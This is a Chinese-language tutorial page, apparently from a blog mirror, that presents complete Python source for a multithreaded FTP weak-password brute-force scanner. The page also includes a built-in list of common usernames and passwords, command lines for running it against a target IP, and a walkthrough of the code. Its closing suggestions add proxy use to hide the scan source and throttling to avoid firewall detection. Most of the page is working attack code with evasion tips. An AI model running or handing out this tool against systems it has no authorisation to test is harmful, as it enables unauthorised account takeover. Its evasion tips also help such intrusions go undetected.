当前位置: 首页 > news >正文

Python实例题:Python实现FTP弱口令扫描器

目录

Python实例题

题目

代码实现

实现原理

多线程扫描:

FTP 认证:

字典管理:

关键代码解析

1. FTP 登录尝试

2. 工作线程函数

3. 主函数流程

使用说明

基本用法:

指定端口和线程数:

使用自定义字典:

保存结果到文件:

扩展建议

增强功能:

性能优化:

用户界面:

安全增强:

Python实例题

题目

Python实现FTP弱口令扫描器

代码实现

import ftplib
import argparse
import threading
import queue
import time
from colorama import init, Fore, Style# 初始化colorama
init(autoreset=True)class FTPBruteForcer:def __init__(self, target, port=21, threads=10, timeout=5):"""初始化FTP弱口令扫描器Args:target: 目标主机IP地址port: FTP端口号,默认为21threads: 线程数,默认为10timeout: 连接超时时间,默认为5秒"""self.target = targetself.port = portself.threads = threadsself.timeout = timeoutself.queue = queue.Queue()self.found = threading.Event()self.lock = threading.Lock()self.results = []def load_default_credentials(self):"""加载默认的用户名和密码字典"""# 常见用户名usernames = ["anonymous", "admin", "ftp", "test", "root", "user", "guest"]# 常见密码passwords = ["anonymous", "admin", "ftp", "test", "root", "password", "123456", "12345", "1234", "111111", "123123", "qwerty", "abc123", "123qwe", "admin123", "pass", "123"]# 添加到队列for username in usernames:for password in passwords:self.queue.put((username, password))def load_credentials_from_files(self, user_file, pass_file):"""从文件加载用户名和密码字典Args:user_file: 用户名文件路径pass_file: 密码文件路径"""try:with open(user_file, 'r') as f:usernames = [line.strip() for line in f.readlines()]with open(pass_file, 'r') as f:passwords = [line.strip() for line in f.readlines()]# 添加到队列for username in usernames:for password in passwords:self.queue.put((username, password))return Trueexcept Exception as e:print(f"加载字典文件失败: {e}")return Falsedef ftp_login(self, username, password):"""尝试FTP登录Args:username: 用户名password: 密码Returns:登录成功返回True,失败返回False"""try:ftp = ftplib.FTP()ftp.connect(self.target, self.port, timeout=self.timeout)ftp.login(username, password)ftp.quit()return Trueexcept ftplib.error_perm:# 认证失败return Falseexcept Exception as e:# 其他错误return Falsedef worker(self):"""工作线程函数"""while not self.found.is_set() and not self.queue.empty():username, password = self.queue.get()# 打印正在尝试的凭据with self.lock:print(f"{Fore.CYAN}[*] 尝试: {username}:{password}")# 尝试登录if self.ftp_login(username, password):self.found.set()with self.lock:self.results.append((username, password))print(f"{Fore.GREEN}[+] 找到有效凭据: {username}:{password}")print(f"{Fore.YELLOW}[!] 扫描已停止,因为找到了有效凭据")break# 释放队列任务self.queue.task_done()def run(self):"""运行扫描器"""print(f"{Fore.BLUE}[*] 开始FTP弱口令扫描: {self.target}:{self.port}")print(f"{Fore.BLUE}[*] 使用 {self.threads} 个线程")start_time = time.time()# 创建工作线程threads = []for _ in range(self.threads):t = threading.Thread(target=self.worker)t.daemon = Truet.start()threads.append(t)# 等待所有线程完成for t in threads:t.join()# 检查是否找到凭据if not self.results:print(f"{Fore.RED}[-] 未找到有效凭据")elapsed_time = time.time() - start_timeprint(f"{Fore.BLUE}[*] 扫描完成,耗时: {elapsed_time:.2f} 秒")return self.resultsdef main():parser = argparse.ArgumentParser(description='FTP弱口令扫描器')parser.add_argument('-t', '--target', help='目标主机IP地址', required=True)parser.add_argument('-p', '--port', type=int, help='FTP端口号', default=21)parser.add_argument('-T', '--threads', type=int, help='线程数', default=10)parser.add_argument('-U', '--userfile', help='用户名文件')parser.add_argument('-P', '--passfile', help='密码文件')parser.add_argument('-o', '--output', help='输出结果文件')args = parser.parse_args()# 创建扫描器实例scanner = FTPBruteForcer(args.target, args.port, args.threads)# 加载凭据字典if args.userfile and args.passfile:if not scanner.load_credentials_from_files(args.userfile, args.passfile):print("使用默认凭据字典...")scanner.load_default_credentials()else:scanner.load_default_credentials()# 运行扫描results = scanner.run()# 保存结果到文件if results and args.output:try:with open(args.output, 'w') as f:f.write(f"FTP弱口令扫描结果 - {args.target}:{args.port}\n")f.write("=" * 50 + "\n")for username, password in results:f.write(f"有效凭据: {username}:{password}\n")print(f"{Fore.GREEN}[+] 结果已保存到 {args.output}")except Exception as e:print(f"{Fore.RED}[-] 保存结果失败: {e}")if __name__ == "__main__":main()    

实现原理

这个 FTP 弱口令扫描器基于以下核心技术实现:

  • 多线程扫描

    • 使用队列管理待测试的用户名和密码组合
    • 多线程并行尝试登录,提高扫描效率
    • 使用线程锁确保输出信息不混乱
  • FTP 认证

    • 使用 Python 的 ftplib 库进行 FTP 连接和认证
    • 处理不同类型的认证错误
    • 设置连接超时避免程序挂起
  • 字典管理

    • 内置常见用户名和密码字典
    • 支持从文件加载自定义字典
    • 找到有效凭据后立即停止扫描

关键代码解析

1. FTP 登录尝试

def ftp_login(self, username, password):try:ftp = ftplib.FTP()ftp.connect(self.target, self.port, timeout=self.timeout)ftp.login(username, password)ftp.quit()return Trueexcept ftplib.error_perm:return Falseexcept Exception as e:return False

2. 工作线程函数

def worker(self):while not self.found.is_set() and not self.queue.empty():username, password = self.queue.get()with self.lock:print(f"{Fore.CYAN}[*] 尝试: {username}:{password}")if self.ftp_login(username, password):self.found.set()with self.lock:self.results.append((username, password))print(f"{Fore.GREEN}[+] 找到有效凭据: {username}:{password}")print(f"{Fore.YELLOW}[!] 扫描已停止,因为找到了有效凭据")breakself.queue.task_done()

3. 主函数流程

def main():parser = argparse.ArgumentParser(description='FTP弱口令扫描器')parser.add_argument('-t', '--target', help='目标主机IP地址', required=True)# 其他参数...args = parser.parse_args()scanner = FTPBruteForcer(args.target, args.port, args.threads)if args.userfile and args.passfile:if not scanner.load_credentials_from_files(args.userfile, args.passfile):scanner.load_default_credentials()else:scanner.load_default_credentials()results = scanner.run()if results and args.output:try:with open(args.output, 'w') as f:# 写入结果...print(f"{Fore.GREEN}[+] 结果已保存到 {args.output}")except Exception as e:print(f"{Fore.RED}[-] 保存结果失败: {e}")

使用说明

  • 基本用法

python ftp_brute_force.py -t 192.168.1.100
  • 指定端口和线程数

python ftp_brute_force.py -t 192.168.1.100 -p 2121 -T 50
  • 使用自定义字典

python ftp_brute_force.py -t 192.168.1.100 -U users.txt -P passwords.txt
  • 保存结果到文件

python ftp_brute_force.py -t 192.168.1.100 -o results.txt

扩展建议

  • 增强功能

    • 添加代理支持,隐藏扫描源
    • 实现扫描限速,避免触发防火墙
    • 添加匿名 FTP 检测
    • 支持扫描 IP 段
  • 性能优化

    • 使用异步 I/O 提高并发性能
    • 添加结果缓存,避免重复测试
    • 优化线程池管理
  • 用户界面

    • 添加进度条显示扫描进度
    • 实现彩色输出和更友好的界面
    • 支持交互式停止扫描
  • 安全增强

    • 添加 IP 封禁检测和处理
    • 实现扫描会话保持
    • 支持证书验证的 FTP 连接
http://www.xdnf.cn/news/701569.html

相关文章:

  • 如何去除文章的AI痕迹2025新方法
  • DeepSeek 工作应用深度指南
  • 二叉树的锯齿形层序遍历——灵活跳跃的层次结构解析
  • 第十一节:第三部分:异常:异常的两种处理方式
  • 【Unity】自动生成围绕模型的路径点
  • 企业应如何构建用户画像系统
  • C语言Day9:C语言类型转换规则
  • Linux Crash工具全解:内核崩溃分析的一切
  • shell脚本总结11
  • 华为OD机试真题——矩形绘制(2025A卷:200分)Java/python/JavaScript/C/C++/GO最佳实现
  • 数据库表与实体类设计
  • 中望CAD与AutoCAD的SWOT对比分析(基于2025线上发布会观察与行业数据)
  • 阿里云云效对接SDK获取流水线制品
  • C++模板语法大全
  • Rust 的Hello World
  • 在qt中使用c++实现与Twincat3 PLC变量通信
  • 知行之桥如何将消息推送到钉钉群?
  • 前端面经 hook 获取dom元素
  • Cookie与Session简介-笔记
  • 代谢测定试剂盒_生化制剂_Sigma-Aldrich®实验室用品及生产材料
  • FastApi学习
  • AMBA-AHB的控制信号
  • jenkins部署slave动态节点
  • java 开发中 nps的内网穿透 再git 远程访问 以及第三放支付接口本地调试中的作用
  • 使用 find 遍历软链接目录时,为什么必须加 -L
  • 华为OD最新机试真题-按单词下标区间翻转文章内容-OD统一考试(B卷)
  • 【案例95】“小”问题引发的“大”发现---记一次环境修复
  • 十六进制数据转换为对应的字符串
  • Python 如何让自动驾驶的“眼睛”和“大脑”真正融合?——传感器数据融合的关键技术解析
  • Java+POI+EXCEL导出柱形图(多列和单列柱形图)